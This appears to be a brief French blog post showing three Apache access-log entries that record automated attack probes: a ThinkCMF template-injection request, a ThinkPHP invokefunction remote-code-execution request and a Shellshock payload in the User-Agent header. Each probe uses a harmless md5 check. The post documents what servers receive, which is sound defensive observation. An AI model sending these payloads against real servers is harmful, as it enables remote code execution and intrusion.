Ce que l’on peut voir dans les logs apaches…
5.101.0.209 - - [07/Jan/2020:00:06:41 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 302 1343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Jan/2020:00:11:18 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 302 1389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
50.63.164.78 - - [08/Jan/2020:06:16:35 +0100] "GET //cgi-sys/realsignup.cgi HTTP/1.1" 404 1710 "-" "() { :;};echo; /bin/bash -c \" echo 2014 | md5sum\""